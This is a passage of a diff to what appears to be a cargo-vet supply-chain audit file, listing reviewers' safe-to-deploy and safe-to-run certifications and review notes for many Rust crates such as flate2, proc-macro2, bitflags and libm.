allow(deprecated)" + +[[audits.bytecode-alliance.audits.crypto-common]] +who = "Benjamin Bouvier " +criteria = "safe-to-deploy" +version = "0.1.3" + +[[audits.bytecode-alliance.audits.digest]] +who = "Benjamin Bouvier " +criteria = "safe-to-deploy" +delta = "0.9.0 -> 0.10.3" + +[[audits.bytecode-alliance.audits.errno]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +version = "0.3.0" +notes = "This crate uses libc and windows-sys APIs to get and set the raw OS error value." + +[[audits.bytecode-alliance.audits.errno]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.3.0 -> 0.3.1" +notes = "Just a dependency version bump and a bug fix for redox" + +[[audits.bytecode-alliance.audits.fastrand]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "2.0.0 -> 2.0.1" +notes = """ +This update had a few doc updates but no otherwise-substantial source code +updates. +""" + +[[audits.bytecode-alliance.audits.futures-channel]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" +notes = "build.rs is just detecting the target and setting cfg. unsafety is for implementing a concurrency primitives using atomics and unsafecell, and is not obviously incorrect (this is the sort of thing I wouldn't certify as correct without formal methods)" + +[[audits.bytecode-alliance.audits.futures-core]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" +notes = "Unsafe used to implement a concurrency primitive AtomicWaker. Well-commented and not obviously incorrect. Like my other audits of these concurrency primitives inside the futures family, I couldn't certify that it is correct without formal methods, but that is out of scope for this vetting." + +[[audits.bytecode-alliance.audits.futures-executor]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" +notes = "Unsafe used to implement the unpark mutex, which is well commented and not obviously incorrect. Like with futures-channel I wouldn't be able to certify it as correct without formal methods." + +[[audits.bytecode-alliance.audits.futures-io]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.27" + +[[audits.bytecode-alliance.audits.gimli]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.27.3 -> 0.28.0" +notes = """ +Still looks like a good DWARF-parsing crate, nothing major was added or deleted +and no `unsafe` code to review here. +""" + +[[audits.bytecode-alliance.audits.gimli]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.28.0 -> 0.29.0" + +[[audits.bytecode-alliance.audits.heck]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "0.4.0" +notes = "Contains `forbid_unsafe` and only uses `std::fmt` from the standard library. Otherwise only contains string manipulation." + +[[audits.bytecode-alliance.audits.iana-time-zone-haiku]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +version = "0.1.2" + +[[audits.bytecode-alliance.audits.jobserver]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.1.25 -> 0.1.32" + +[[audits.bytecode-alliance.audits.libc]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.2.158 -> 0.2.161" + +[[audits.bytecode-alliance.audits.libm]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.2.2 -> 0.2.4" +notes = """ +This diff primarily fixes a few issues with the `fma`-related functions, +but also contains some other minor fixes as well. Everything looks A-OK and +as expected. +""" + +[[audits.bytecode-alliance.audits.libm]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.2.4 -> 0.2.7" +notes = """ +This is a minor update which has some testing affordances as well as some +updated math algorithms. +""" + +[[audits.bytecode-alliance.audits.miniz_oxide]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "0.7.1" +notes = """ +This crate is a Rust implementation of zlib compression/decompression and has +been used by default by the Rust standard library for quite some time. It's also +a default dependency of the popular `backtrace` crate for decompressing debug +information. This crate forbids unsafe code and does not otherwise access system +resources. It's originally a port of the `miniz.c` library as well, and given +its own longevity should be relatively hardened against some of the more common +compression-related issues. +""" + +[[audits.bytecode-alliance.audits.miniz_oxide]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.7.1 -> 0.8.0" +notes = "Minor updates, using new Rust features like `const`, no major changes." + +[[audits.bytecode-alliance.audits.num-traits]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +version = "0.2.19" +notes = "As advertised: a numeric library. The only `unsafe` is from some float-to-int conversions, which seems expected." + +[[audits.bytecode-alliance.audits.percent-encoding]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "2.2.0" +notes = """ +This crate is a single-file crate that does what it says on the tin. There are +a few `unsafe` blocks related to utf-8 validation which are locally verifiable +as correct and otherwise this crate is good to go. +""" + +[[audits.bytecode-alliance.audits.pin-utils]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.1.0" + +[[audits.bytecode-alliance.audits.pkg-config]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "0.3.25" +notes = "This crate shells out to the pkg-config executable, but it appears to sanitize inputs reasonably." + +[[audits.bytecode-alliance.audits.pkg-config]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.3.26 -> 0.3.29" +notes = """ +No `unsafe` additions or anything outside of the purview of the crate in this +change. +""" + +[[audits.bytecode-alliance.audits.rustc-demangle]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +version = "0.1.21" +notes = "I am the author of this crate." + +[[audits.bytecode-alliance.audits.rustc-demangle]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "0.1.21 -> 0.1.24" + +[[audits.bytecode-alliance.audits.rustix]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.38.34 -> 0.38.37" + +[[audits.bytecode-alliance.audits.rustix]] +who = "Dan Gohman " +criteria = "safe-to-deploy" +delta = "0.38.37 -> 0.38.38" + +[[audits.bytecode-alliance.audits.semver]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +version = "1.0.17" +notes = "plenty of unsafe pointer and vec tricks, but in well-structured and commented code that appears to be correct" + +[[audits.bytecode-alliance.audits.sha1]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +delta = "0.10.5 -> 0.10.6" +notes = "Only new code is some loongarch64 additions which include assembly code for that platform." + +[[audits.bytecode-alliance.audits.tempfile]] +who = "Pat Hickey " +criteria = "safe-to-deploy" +delta = "3.3.0 -> 3.5.0" + +[[audits.bytecode-alliance.audits.tempfile]] +who = "Alex Crichton " +criteria = "safe-to-deploy" +delta = "3.5.0 -> 3.6.0" +notes = "Dependency updates and new optimized trait implementations, but otherwise everything looks normal." + +[[audits.bytecode-alliance.audits.xattr]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +version = "1.2.0" +notes = "This crate contains `unsafe` calls to libc `extattr_*` functions as one would expect from the crate's purpose." + +[[audits.bytecode-alliance.audits.xattr]] +who = "Andrew Brown " +criteria = "safe-to-deploy" +delta = "1.2.0 -> 1.3.1" +notes = "Minor changes to MacOS-specific code." + +[[audits.embark-studios.audits.thiserror]] +who = "Johan Andersson " +criteria = "safe-to-deploy" +version = "1.0.40" +notes = "Wrapper over implementation crate, found no unsafe or ambient capabilities used" + +[[audits.embark-studios.audits.thiserror-impl]] +who = "Johan Andersson " +criteria = "safe-to-deploy" +version = "1.0.40" +notes = "Found no unsafe or ambient capabilities used" + +[[audits.embark-studios.audits.toml_datetime]] +who = "Johan Andersson " +criteria = "safe-to-deploy" +delta = "0.6.1 -> 0.6.2" +notes = "No notable changes" + +[[audits.fermyon.audits.oorandom]] +who = "Radu Matei " +criteria = "safe-to-run" +version = "11.1.3" + +[[audits.google.audits.addr2line]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.19.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.aes]] +who = "David Koloski " +criteria = "safe-to-deploy" +delta = "0.8.2 -> 0.8.4" +notes = "Audited at https://fxrev.dev/987054" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.ahash]] +who = "Nicholas Bishop " +criteria = "safe-to-run" +version = "0.8.3" +notes = """ +Note on does-not-implement-crypto: the aHash documentation explicitly +states it is not a cryptographically secure hash. +""" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.ahash]] +who = "Nicholas Bishop " +criteria = "safe-to-run" +delta = "0.8.3 -> 0.8.5" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.ahash]] +who = "Nicholas Bishop " +criteria = "safe-to-run" +delta = "0.8.5 -> 0.8.11" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.autocfg]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.1.0" +notes = """ +Grepped for `-i cipher`, `-i crypto`, `'\bfs\b'``, `'\bnet\b'``, `'\bunsafe\b'`` +and there were no hits except for reasonable, client-controlled usage of +`std::fs` in `AutoCfg::with_dir`. + +This crate has been added to Chromium in +https://source.chromium.org/chromium/chromium/src/+/591a0f30c5eac93b6a3d981c2714ffa4db28dbcb +The CL description contains a link to a Google-internal document with audit details. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.autocfg]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.1.0 -> 1.2.0" +notes = ''' +Grepped for `-i cipher`, `-i crypto`, `'\bfs\b'``, `'\bnet\b'``, `'\bunsafe\b'`` +and nothing changed from the baseline audit of 1.1.0. Skimmed through the +1.1.0 => 1.2.0 delta and everything seemed okay. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.3.2" +notes = """ +Security review of earlier versions of the crate can be found at +(Google-internal, sorry): go/image-crate-chromium-security-review + +The crate exposes a function marked as `unsafe`, but doesn't use any +`unsafe` blocks (except for tests of the single `unsafe` function). I +think this justifies marking this crate as `ub-risk-1`. + +Additional review comments can be found at https://crrev.com/c/4723145/31 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "2.4.2" +notes = """ +Audit notes: + +* I've checked for any discussion in Google-internal cl/546819168 (where audit + of version 2.3.3 happened) +* `src/lib.rs` contains `#![cfg_attr(not(test), forbid(unsafe_code))]` +* There are 2 cases of `unsafe` in `src/external.rs` but they seem to be + correct in a straightforward way - they just propagate the marker trait's + impl (e.g. `impl bytemuck::Pod`) from the inner to the outer type +* Additional discussion and/or notes may be found in https://crrev.com/c/5238056 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "2.4.2 -> 2.5.0" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bitflags]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "2.5.0 -> 2.6.0" +notes = "The changes from the previous version are negligible and thus it retains the same properties." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.16.3" +notes = """ +Review notes from the original audit (of 1.14.3) may be found in +https://crrev.com/c/5362675. Note that this audit has initially missed UB risk +that was fixed in 1.16.2 - see https://github.com/Lokathor/bytemuck/pull/258. +Because of this, the original audit has been edited to certify version `1.16.3` +instead (see also https://crrev.com/c/5771867). +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.16.3 -> 1.17.1" +notes = "Unsafe review comments can be found in https://crrev.com/c/5813463" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.17.1 -> 1.18.0" +notes = "No code changes - just altering feature flag arrangements" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.bytemuck]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.18.0 -> 1.19.0" +notes = "No code changes - just comment changes and adding the track_caller attribute." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.byteorder]] +who = "danakj " +criteria = "safe-to-deploy" +version = "1.5.0" +notes = "Unsafe review in https://crrev.com/c/5838022" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.cast]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.3.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.cpp_demangle]] +who = "Hidenori Kobayashi " +criteria = "safe-to-run" +version = "0.4.3" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.crc32fast]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.4.2" +notes = """ +Security review of earlier versions of the crate can be found at +(Google-internal, sorry): go/image-crate-chromium-security-review + +Audit comments for 1.4.2 can be found at https://crrev.com/c/4723145. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.crossbeam-deque]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.8.3" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.crossbeam-epoch]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.9.14" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.crossbeam-epoch]] +who = "George Burgess IV " +criteria = "safe-to-run" +delta = "0.9.14 -> 0.9.15" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.equivalent]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "1.0.1" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.fastrand]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "1.9.0" +notes = """ +`does-not-implement-crypto` is certified because this crate explicitly says +that the RNG here is not cryptographically secure. +""" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.0.30" +notes = ''' +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. Ability to track partial +audits is tracked in https://github.com/mozilla/cargo-vet/issues/380 +Chromium does use the `any_zlib` feature(s). Accidentally depending on +this feature in the future is prevented using the `ban_features` feature +of `gnrt` - see: +https://crrev.com/c/4723145/31/third_party/rust/chromium_crates_io/gnrt_config.toml + +Security review of earlier versions of the crate can be found at +(Google-internal, sorry): go/image-crate-chromium-security-review + +I grepped for `-i cipher`, `-i crypto`, `'\bfs\b'`, `'\bnet\b'`, `'\bunsafe\b'`. + +All `unsafe` in `flate2` is gated behind `#[cfg(feature = "any_zlib")]`: + +* The code under `src/ffi/...` will not be used because the `mod c` + declaration in `src/ffi/mod.rs` depends on the `any_zlib` config +* 7 uses of `unsafe` in `src/mem.rs` also all depend on the + `any_zlib` config: + - 2 in `fn set_dictionary` (under `impl Compress`) + - 2 in `fn set_level` (under `impl Compress`) + - 3 in `fn set_dictionary` (under `impl Decompress`) + +All hits of `'\bfs\b'` are in comments, or example code, or test code +(but not in product code). + +There were no hits of `-i cipher`, `-i crypto`, `'\bnet\b'`. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.30 -> 1.0.31" +notes = """ +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. See the audit of 1.0.30 for +more details. + +Only benign changes: + +* Comment-only changes in `.rs` files +* Also changing dependency version in `Cargo.toml`, but this is for `any_zlib` + feature which is not used in Chromium (i.e. this is a *partial* audit - see + the previous audit notes for 1.0.30) +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.31 -> 1.0.33" +notes = """ +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. See the audit of 1.0.30 for +more details. + +This delta audit has been reviewed in https://crrev.com/c/5811890 +The delta can be seen at https://diff.rs/flate2/1.0.31/1.0.33 +The delta bumps up `miniz_oxide` dependency to `0.8.0` +The delta also contains some changes to `src/ffi/c.rs` which is *NOT* used by Chromium +and therefore hasn't been covered by this partial audit. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.flate2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.33 -> 1.0.34" +notes = """ +WARNING: This certification is a result of a **partial** audit. The +`any_zlib` code has **not** been audited. See the audit of 1.0.30 for +more details. + +The delta can be seen at https://diff.rs/flate2/1.0.33/1.0.34 +The delta bumps up `libz-rs-sys` dependency from `0.2.1` to `0.3.0` +The delta in `lib.rs` only tweaks comments and has no code changes. +The delta also contains some changes to `src/ffi/c.rs` which is *NOT* used by Chromium +and therefore hasn't been covered by this partial audit. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.futures]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "0.3.28" +notes = """ +`futures` has no logic other than tests - it simply `pub use`s things from +other crates. +""" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.gimli]] +who = "George Burgess IV " +criteria = "safe-to-run" +version = "0.27.3" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.glob]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "0.3.1" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.itertools]] +who = "ChromeOS" +criteria = "safe-to-run" +version = "0.10.5" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.itoa]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.0.10" +notes = ''' +I grepped for \"crypt\", \"cipher\", \"fs\", \"net\" - there were no hits. + +There are a few places where `unsafe` is used. Unsafe review notes can be found +in https://crrev.com/c/5350697. + +Version 1.0.1 of this crate has been added to Chromium in +https://crrev.com/c/3321896. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.itoa]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.10 -> 1.0.11" +notes = """ +Straightforward diff between 1.0.10 and 1.0.11 - only 3 commits: + +* Bumping up the version +* A touch up of comments +* And my own PR to make `unsafe` blocks more granular: + https://github.com/dtolnay/itoa/pull/42 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.lazy_static]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.4.0" +notes = ''' +I grepped for \"crypt\", \"cipher\", \"fs\", \"net\" - there were no hits. + +There are two places where `unsafe` is used. Unsafe review notes can be found +in https://crrev.com/c/5347418. + +This crate has been added to Chromium in https://crrev.com/c/3321895. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.lazy_static]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.4.0 -> 1.5.0" +notes = "Unsafe review notes: https://crrev.com/c/5650836" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.log]] +who = "danakj " +criteria = "safe-to-deploy" +version = "0.4.22" +notes = """ +Unsafe review in https://docs.google.com/document/d/1IXQbD1GhTRqNHIGxq6yy7qHqxeO4CwN5noMFXnqyDIM/edit?usp=sharing + +Unsafety is generally very well-documented, with one exception, which we +describe in the review doc. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.memmap2]] +who = "Ying Hsu " +criteria = "safe-to-run" +version = "0.8.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.miniz_oxide]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "0.7.4" +notes = ''' +Grepped for `-i cipher`, `-i crypto`, `'\bfs\b'`, `'\bnet\b'`, `'\bunsafe\b'` +and there were no hits, except for some mentions of "unsafe" in the `README.md` +and in a comment in `src/deflate/core.rs`. The comment discusses whether a +function should be treated as unsafe, but there is no actual `unsafe` code, so +the crate meets the `ub-risk-0` criteria. + +Note that some additional, internal notes about an older version of this crate +can be found at go/image-crate-chromium-security-review. +''' +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.nix]] +who = "David Koloski " +criteria = "safe-to-run" +version = "0.26.2" +notes = """ +Reviewed on https://fxrev.dev/780283 +Issues: +- https://github.com/nix-rust/nix/issues/1975 +- https://github.com/nix-rust/nix/issues/1977 +- https://github.com/nix-rust/nix/pull/1978 +- https://github.com/nix-rust/nix/pull/1979 +- https://github.com/nix-rust/nix/issues/1980 +- https://github.com/nix-rust/nix/issues/1981 +- https://github.com/nix-rust/nix/pull/1983 +- https://github.com/nix-rust/nix/issues/1990 +- https://github.com/nix-rust/nix/pull/1992 +- https://github.com/nix-rust/nix/pull/1993 +""" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.nom]] +who = "danakj@chromium.org" +criteria = "safe-to-deploy" +version = "7.1.3" +notes = """ +Reviewed in https://chromium-review.googlesource.com/c/chromium/src/+/5046153 +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.normalize-line-endings]] +who = "Max Lee " +criteria = "safe-to-run" +version = "0.3.0" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.num-iter]] +who = "George Burgess IV " +criteria = "safe-to-deploy" +version = "0.1.43" +aggregated-from = "https://chromium.googlesource.com/chromiumos/third_party/rust_crates/+/refs/heads/main/cargo-vet/audits.toml?format=TEXT" + +[[audits.google.audits.pin-project-lite]] +who = "David Koloski " +criteria = "safe-to-deploy" +version = "0.2.9" +notes = "Reviewed on https://fxrev.dev/824504" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.pin-project-lite]] +who = "David Koloski " +criteria = "safe-to-deploy" +delta = "0.2.9 -> 0.2.13" +notes = "Audited at https://fxrev.dev/946396" +aggregated-from = "https://fuchsia.googlesource.com/fuchsia/+/refs/heads/main/third_party/rust_crates/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +version = "1.0.78" +notes = """ +Grepped for \"crypt\", \"cipher\", \"fs\", \"net\" - there were no hits +(except for a benign \"fs\" hit in a doc comment) + +Notes from the `unsafe` review can be found in https://crrev.com/c/5385745. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.0.78 -> 1.0.79" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Adrian Taylor " +criteria = "safe-to-deploy" +delta = "1.0.79 -> 1.0.80" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Dustin J. Mitchell " +criteria = "safe-to-deploy" +delta = "1.0.80 -> 1.0.81" +notes = "Comment changes only" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "danakj " +criteria = "safe-to-deploy" +delta = "1.0.81 -> 1.0.82" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Dustin J. Mitchell " +criteria = "safe-to-deploy" +delta = "1.0.82 -> 1.0.83" +notes = "Substantive change is replacing String with Box, saving memory." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.83 -> 1.0.84" +notes = "Only doc comment changes in `src/lib.rs`." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "danakj@chromium.org" +criteria = "safe-to-deploy" +delta = "1.0.84 -> 1.0.85" +notes = "Test-only changes." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Lukasz Anforowicz " +criteria = "safe-to-deploy" +delta = "1.0.85 -> 1.0.86" +notes = """ +Comment-only changes in `build.rs`. +Reordering of `Cargo.toml` entries. +Just bumping up the version number in `lib.rs`. +Config-related changes in `test_size.rs`. +""" +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "danakj " +criteria = "safe-to-deploy" +delta = "1.0.86 -> 1.0.87" +notes = "No new unsafe interactions." +aggregated-from = "https://chromium.googlesource.com/chromium/src/+/main/third_party/rust/chromium_crates_io/supply-chain/audits.toml?format=TEXT" + +[[audits.google.audits.proc-macro2]] +who = "Liza Burakova `. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.futures-util]] +who = "Jack Grigg " +criteria = "safe-to-deploy" +delta = "0.3.29 -> 0.3.30" +notes = """ +- Removes `build.rs` now that it can rely on the `target_has_atomic` attribute. +- Almost all changes to `unsafe` blocks are to either move them around, or + replace them with safe method calls. +- One new `unsafe` block is added for a slice lifetime transmutation. The slice + reconstruction is obviously correct. AFAICT the lifetime transmutation is also + correct; the slice's lifetime logically comes from the `AsyncBufRead` reader + inside `FillBuf`, rather than the `Context`. +""" +aggregated-from = "https://raw.githubusercontent.com/zcash/zcash/master/qa/supply-chain/audits.toml" + +[[audits.zcash.audits.generic-array]] +who = "Sean Bowe " +criteria = "safe-to-deploy" +delta = "0.14.6 -> 0.14.7" +aggregated-from = 